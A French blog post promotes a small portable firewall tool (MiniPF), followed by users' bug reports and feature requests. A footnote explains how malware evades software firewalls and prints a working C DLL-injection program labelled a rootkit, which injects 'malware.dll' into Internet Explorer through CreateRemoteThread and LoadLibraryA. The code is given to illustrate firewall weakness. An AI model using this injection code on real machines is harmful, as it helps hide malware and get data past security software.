[logiciel] Mini pare-feu – Small Firewall

[26 mai 2008 – Bientôt mise à jour: introduction des règles au lancement du mini pare-feu – une version améliorée mais toujours portable sans appel au registre et active dès que lancée].

Un Mini Pare-Feu qui rempli son rôle tout en étant très léger et facile à utiliser si vous savez vous y prendre. Il accompli l’essentiel: bloquer les ports ou adresses internet en entrée ou sortie de notre ordinateur.

A mon avis les pare-feux logiciels sont inutiles.

Tout d’abord, je dois spécifier qu’hormis le pare-feu inclus dans mon routeur LINKSYS, je n’utilise que très rarement pas de pare-feux logiciels du type que l’on rencontre généralement dans le marché (Zone-Alarm, Kerio, Komodo etc.). De un: parce qu’ils nous demandent à l’improviste d’approuver ou de rejeter telle ou telle connexion, ils deviennent pesants à supporter (ce que certains appellent l’ «automatisme») . De deux: pour les mêmes raisons d’improvisation de notre part, ils deviennent très rapidement une passoire.  Je m’explique: sans élaboration de règles appropriées et disons-le, très ‘réfléchies’ (à ce sujet voir la présentation de C.Lafrenière dans la section ‘Complément’) – et même si on le fait, il est devenu très facile pour un hackeur ou pirate informatique de détourner tout pare-feu logiciel qui s’appuie sur les noms de programmes pour créer automatiquement les règles, Les méthodes de hacking qui utilisent les processus connues abondent et tout bon bon bricoleur de malware saura percer votre pare-feu sans aucun soucis (1).

Pour ma part, mon besoin est simple et se résume à pouvoir bloquer à l’occasion quelques adresses ou ports en entrée ou sortie, m’évitant ainsi de le faire dans le pare-feu du routeur – mais sans toutefois avoir la même efficacité ni les mêmes avantages. Dans le mini pare-feu, il faut y saisir manuellement les règles identifiant les adresses et ports à bloquer, et il faut spécifier dans quel sens le faire, les noms des processus ne sont pas pris en considération. Les règles peuvent être sauvegardées puis récupérées pour une prochaine utilisation. Le mini pare-feu se complète d’une application identifiant les connexions TCP/IP actives.

Aperçu du mini pare-feu et son jeu de règles manuel.

mini pare-feu[TÉLÉCHARGER] Il s’agit d’un logiciel beta, donc il se peut que certaines erreurs surviennent, mais rien pour être dommageable à l’ordinateur ou à des programmes utilisés. Mini Pare-Feu est léger (395 ko) et occupe peu de mémoire, idéal pour une utilisation occasionnelle, sur une clé USB, en mode portable. C’est le seul pare-feu complètement portable que je connaisse. On le prend **ICI** un fichier compressé ‘rar’ comprenant l’application et une DLL à être mise dans le même dossier que l’application. Aucune installation, aucun enregistrement dans le registre ou écriture quelconque dans les dossiers système – n’intervient pas sur le disque. Commentaires et propositions bienvenues.

Aperçu InfoNet[COMPLÉMENT] WInfoNet, logiciel affichant toutes les connexions réseau, internet etc., entrant et sortant, avec identification des adresses IP et des ports. On voit un aperçu du logiciel (image à gauche).

_

Pour les adeptes de pares-feux, et qui aiment les comparer, voir Matousec.com, en particulier cette page. Concernant ces pare-feux, gratuits ou commerciaux, pour avoir fait l’expérience de plusieurs, ma préférence va vers Jetico Personal Firewall (version gratuite disponible) et surtout Look & Stop (achat). Concernant ce dernier pare-feu, une introduction et une gestion des jeux de règles sont fort bien présentés par C. Lafrenière [Propos et Commentaires du Climenole]. Autre site d’intérêt sur les pare-feu: Firewall Leak Tester.

[Mises à jour]. 7 février 2008 (reconnue par le fichier exécutable MiniPF.exe daté du 7 février 2008): correction du mode ‘Caché’ et des items du menu.

Comment on s’y prend pour détourner facilement un pare-feu logiciel:

(1) J’expliquer très brièvement comment utiliser la fonction CreateRemoteThread pour détourner tout pare-feu logiciel, c’est la manière la plus commune de le faire – et sans trop le vouloir c’est Microsoft MSDN lui-même qui fourni le prototype:

HANDLE CreateRemoteThread(

HANDLE hProcess,

LPSECURITY_ATTRIBUTES lpThreadAttributes,

SIZE_T dwStackSize,

LPTHREAD_START_ROUTINE lpStartAddress,

LPVOID lpParameter,

DWORD dwCreationFlags,

LPDWORD lpThreadId )

La clé est dans le prise hProcess, qui nous permet de manipuler tout processus viable dans l’ordinateur dans lequel on veut injecter un malware. Voici une injection typique d’un malware (installation d’un trojan hook) dans IExplorer et de fait autorisé par tout pare-feu logiciel (se pourrait être toute autre application autorisée à passer au travers le pare-feu):

// le root kit

#include "stdafx.h"

#include "install hooks.h"

#include "Tlhelp32.h"

#include "Psapi.h"

#pragma comment( lib, "Psapi" )

int APIENTRY _tWinMain(HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPTSTR lpCmdLine,

int nCmdShow)

{

// acquisition des privilèges

AdjustTokenToDebug();

// dll à injecter - on lui donne le nom de 'malware' pour la forme

char dll[] = "malware.dll";

char temp[500];

GetCurrentDirectoryA(500, temp);

strcat(temp, "\\");

strcat(temp, dll);

char processName[] = "iexplore.exe";

DWORD targetPID = GetProcessPIDByName(processName);

if(targetPID==0){return 0;}

// injection du trojan dans explorer.exe

HANDLE targetProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,false,targetPID);

int x = strlen(temp);

SIZE_T numWritten = 0;

void* lpTargetMemory = VirtualAllocEx(targetProcessHandle,0,strlen(temp),0x1000,0x4);

BOOL diditWrite = WriteProcessMemory(targetProcessHandle,lpTargetMemory,temp,strlen(temp),0);

DWORD ThreadID;

HMODULE dllInjectHandle=NULL;

HANDLE hThread=CreateRemoteThread(targetProcessHandle,0,0,(LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32"),"LoadLibraryA"),lpTargetMemory,0,&ThreadID);

return FALSE;

}

DWORD GetProcessPIDByName(char moduleName[256])

{

//get pid

DWORD idProcess[256];

DWORD cb = sizeof(idProcess);

DWORD cdNeeded;

BOOL didigetlist = EnumProcesses((DWORD*)&idProcess, cb,&cdNeeded);

char szProcessName[256] = "unknown";

int noProcess=cdNeeded/sizeof(DWORD);

int searchPID=0;

int i=0;

for (i=0; i lessthan noProcess; i++ )

{

HANDLE hProcess=OpenProcess(PROCESS_QUERY_INFORMATION|PROCESS_VM_READ,FALSE,idProcess[i]);

if (NULL != hProcess)

{

HMODULE hMod;

DWORD cbNeeded;

BOOL didnumwork = EnumProcessModules( hProcess, &hMod, sizeof(hMod),&cbNeeded);

DWORD y=GetLastError();

if ( didnumwork )

{

DWORD diditwork=GetModuleBaseName( hProcess, hMod, szProcessName,sizeof(szProcessName) );

_strlwr((char*)&szProcessName);

DWORD x = GetLastError();

}

}

if(stricmp(szProcessName,moduleName)==0)

{

searchPID=idProcess[i];

break;

}

}

return searchPID;

}

Et voila en quelques lignes de code notre malware est accroché à une application autorisée sur le pare-feu et sera capable de transmettre ses données via le protocole http. Lorsqu’un anti-malware fini par trouver le pot aux roses (le pare-feu, lui, ne trouvera jamais) il suffit au fabricant du malware de changer la signature de certaines variables (nom) pour créer une variante. Beaucoup d’antivirus peinent à trouver les root-kit et pour y arriver déclarent tout inconnu comme variante possible d’un malware, se rendant ainsi coupables de faux positifs.

Publicités

20 Responses to [logiciel] Mini pare-feu – Small Firewall

  1. Ahmed dit :

    I need this software

  2. Mark dit :

    Very nice piece of software.
    Just what I needed !
    Thx a lot & keep up the good work !

  3. lilas dit :

    mini-firewall: dans la modification d’une règle, à la fin l’intitulé reste à Action au lieu de Note je crois.

  4. lilas dit :

    Une version anglaise permettra aussi d’avoir une beaucoup plus grande diffusion. Avec un tel pare-feu c’est l’outil idéal à mettre dans les BartPE.

  5. lilas dit :

    D’autres remarques:
    – pas de sauvegarde des règles dans un fichier ini ?
    – pas de possibilités de protégér par application ? (autrement dit lorsque qu’une application demande l’accès à Internet, d’avoir un popup pour autoriser ou pas, toujours autoriser ou pas etc… comme la plupart des pare-feux classiques.

    Si les 2 points ci-dessus sont remplis, alors ce serait très intéressant.

  6. volvox dit :

    mini-firewall: dans la modification d’une règle, à la fin l’intitulé reste à Action au lieu de Note je crois.

    OK – je vais corriger.
    ———————————————————

    Une version anglaise permettra aussi d’avoir une beaucoup plus grande diffusion. Avec un tel pare-feu c’est l’outil idéal à mettre dans les BartPE

    C’est disponible – je vais l’offrir sur le site – merci pour la suggestion.

    ———————————————————-

    – pas de sauvegarde des règles dans un fichier ini ?
    – pas de possibilités de protégér par application ? (autrement dit lorsque qu’une application demande l’accès à Internet, d’avoir un popup pour autoriser ou pas, toujours autoriser ou pas etc… comme la plupart des pare-feux classiques.

    —————————-
    On peut sauver les règles (clic sur bouton droit de la souris). Les règles sont sauvées dans un fichier texte (xxx.csv) dont le format est identique au fichiers .ini. On peut donc ouvrir ce fichier.csv à l’aide de Notepad ou tout autre éditeur texte ascii. Si je ne l’ai pas intitulé .ini c’est pour éviter qu’il sot trop facilement ouvert et changé sans raison.

    Pour la dernière question – j’avais envisagé cette possibilité de questionnement. Mais après réflexion j’ai préféré m’en tenir à la manière ‘dure’ des pare-feu routeurs (ou des anciens pare-feu logiciels d’avant l’ère ZoneAlarm) ou aucune question n’est posée – faut donc savoir ce qui entre ou ce qui sort, et créer une règle en conséquence. C’est beaucoup plus sécuritaire de cette façon car avec le méthode des questions on répond vite par l’affirmatif et souvent sans savoir ce qui est en cause.

    Le but de ce pare-feu est d’être le plus dénudé possible, ne soutirer aucune ressource importante de l’ordinateur et être compatible avec tout autre pare-feu ou antivirus.

    J’aurai bientôt une version améliorée indiquant les connexions en cours et les sources de ces connexions. Avec choix de les bloquer. Mais je n’irai pas plus loin ;)

    Merci pour l’intérêt et les suggestions.

  7. lilas dit :

    OK.
    – je n’ai pas vu la fonction enregistrer les règles. Autant pour moi, csv ou ini pas de problème.
    – suggestion: au début (premier lancement) tu affiches les 2 règles « Tout bloquer » et « Tout autoriser » (avec « tout autoriser » en première position pour être conforme au fonctionnement par défaut du logiciel). Ainsi cela permet d’avoir 2 règles importantes sans effort pour l’utilisateur.
    – j’ai essayé 2 autres firewalls censés être portables (AS3firewall, Ghostwall), ils ne valent pas le tien. Suggestion: livrer avec un jeu de règles (fichiers .csv) prédéfinies (voir par exemple Ghostwall) pour un ensemble d’utilisation/d’applications types (smtp, http, https, ftp, ssh, Messenger…). Ce sera un plus, mais moins important que le point suivant:
    – le support des filtrages niveau application: je comprends ton argument mais si tu peux ajouter, c’est très intéressant. Exemple je veux autoriser Internet Explorer (donc port 80 sortant) mais pas un autre logiciel qui veut aussi sortir sur le port 80 (par exemple spyware ou update, ou logiciel en cours d’installation). Avec un tel filtrage je connais tout de suite les activités souterraines de ces logiciels.

  8. lilas dit :

    Dis-nous quand tu auras de nouvelles versions. Soit le nom du fichier, soit le nom du lien lien est à changer pour que nous puissons savoir quelle version (cela évite des downloads pour rien car toujours le même nom miniPF.rar).

    Autre: j’ai remarqué que la sortie du programme est un peu lente, sans doute car il faut décharger le driver .sys ?

  9. lilas dit :

    Autres remarques:
    – pas de mémorisation de la position de la fenêtre au lancement suivant. Il serait intéressant de les conserver dans un fichier .ini.
    – éventuellement si le fichier ini est adopté, à charger automatiquement le dernier fichier règles (sans démarrer le pare-feu évidemment)
    – le bouton « Appliquer » est un peu ambigu. Je suppose que si j’aoute une règle ce n’est pas appliqué tout de suite, il faut cliquer sur Appliquer. Dans ce cas il faut une fois appliqué il faut que le bouton soit grisé Ce bouton sera dégrisé sur ajout, modification, suppression d’une règle, vider, chargement de nouvelles règles. Comme cela en regardant l’interface on voit tout de suite l’état réel du pare-feu. C’est sans doute un détail, car il suffit dans le doute de cliquer sur le bouton Appliquer.

  10. lilas dit :

    Je me demande s’il ne faut pas ajouter le code de WInfoNet dans mini-firewall (tout en laissant WInfoNet tel quel), ce qui permet d’avoir par exemple un onglet WInfoNet qui ouvre une autre fenêtre avec les informations de WInfoNet, ce sera plus pratique pour les réglages du pare-feu. Sans doute une DLL commnune ?

  11. volvox dit :

    Il y a de bons commentaires et des recommandations que je vais m’efforcer de suivre (id. nouvelle version, bouton Appliquer, fichier .ini, wininfonet …). A très bientôt pour des changements. Merci.

  12. Alin dit :

    Bonjour,
    1. J’ai une violation d’acces qd je fais « Modififer la règle » dans le menu de SystemTray.
    (Access violation at address 004B7B2B in module ‘MiniPF.exe’. Read of address 00000024.)

    2. Qd je Reduit la fenêtre principale, celle-ci reste dans la bare de tâche. Il me semblait plus naturel quelle se cache completement sachannt qu’on as le menu du SystemTray.

    Merci et très bonne boulot.

  13. volvox dit :

    Bonjour Alin. Je vais enlever le duplica sur la barre des taches. Concernant la violation d’accès, j’imagine que l’erreur ne se présenta pas si la règle est modifiée directement dans l’application? Je vais examiner les sources possibles de cette erreur. PS. Les règles sont mises dans le fichier binaire rules.csv. S’assurer qu’il n’est pas protégé en écriture, ni ouvert. A bientôt.

  14. volvox dit :

    Mise à jour – temporaire

    Voilà, j’ai corrigé les erreurs ou anomalies soulignées. C’est une mise à jour temporaire en attendant une autre à venir pour bientôt. Prendre le fichier plus haut [Téléchargement].
    A plus.

  15. Hervé dit :

    Bonjour,
    J’utilise MiniPF depuis aujourd’hui, et le trouve très pratique.

    >>(Volvox)>> »J’aurai bientôt une version améliorée indiquant les connexions en cours et les sources de ces connexions. Avec choix de les bloquer. Mais je n’irai pas plus loin ;) »<<<<

    Cela en fera vraiment un utilitaire TRES pratique en effet. J’attends cela avec intérêt :)

  16. volvox dit :

    [quote= »RE: Volvox »]>>(Volvox)>>”J’aurai bientôt une version améliorée indiquant les connexions en cours et les sources de ces connexions.[/quote]

    Hervé … c’est toujours prévu, pour bientot.

  17. seb dit :

    Bonjour,
    Juste une petite demande
    Serait il possible de lancer MiniPF en ligne de commande (par exemple pour lancer au démarrage) avec des options -start (pour démarrer le pf) et/ou -file (fichier csv des regles)
    Cela serait pratique non ?
    Sinon…. tout simplement génial et si tu veux un conseil, il faut eviter d’alourdir trop le logiciel avec des assistants etc…. ce que j’aime dans MiniPF, c’est sa legereté !!!
    Merci

    Seb

  18. volvox dit :

    Juste une petite demande
    Serait il possible de lancer MiniPF en ligne de commande (par exemple pour lancer au démarrage) avec des options -start (pour démarrer le pf) et/ou -file (fichier csv des regles)

    Bonne idée – ce sera fait.

  19. Alex dit :

    Salut,

    J’ai un souci au lancement de l’appli:

    J’ai une ligne qui me dit: Chargement de la dll sans échec

    et ensuite: Echec au chargement du pilote: -6

    Je suis en admin local, je ne comprend pas, peux-tu m’aider?

    Merci et bonne journée.

Laisser un commentaire

Entrez vos coordonnées ci-dessous ou cliquez sur une icône pour vous connecter:

Logo WordPress.com

Vous commentez à l'aide de votre compte WordPress.com. Déconnexion / Changer )

Image Twitter

Vous commentez à l'aide de votre compte Twitter. Déconnexion / Changer )

Photo Facebook

Vous commentez à l'aide de votre compte Facebook. Déconnexion / Changer )

Photo Google+

Vous commentez à l'aide de votre compte Google+. Déconnexion / Changer )

Connexion à %s

%d blogueurs aiment cette page :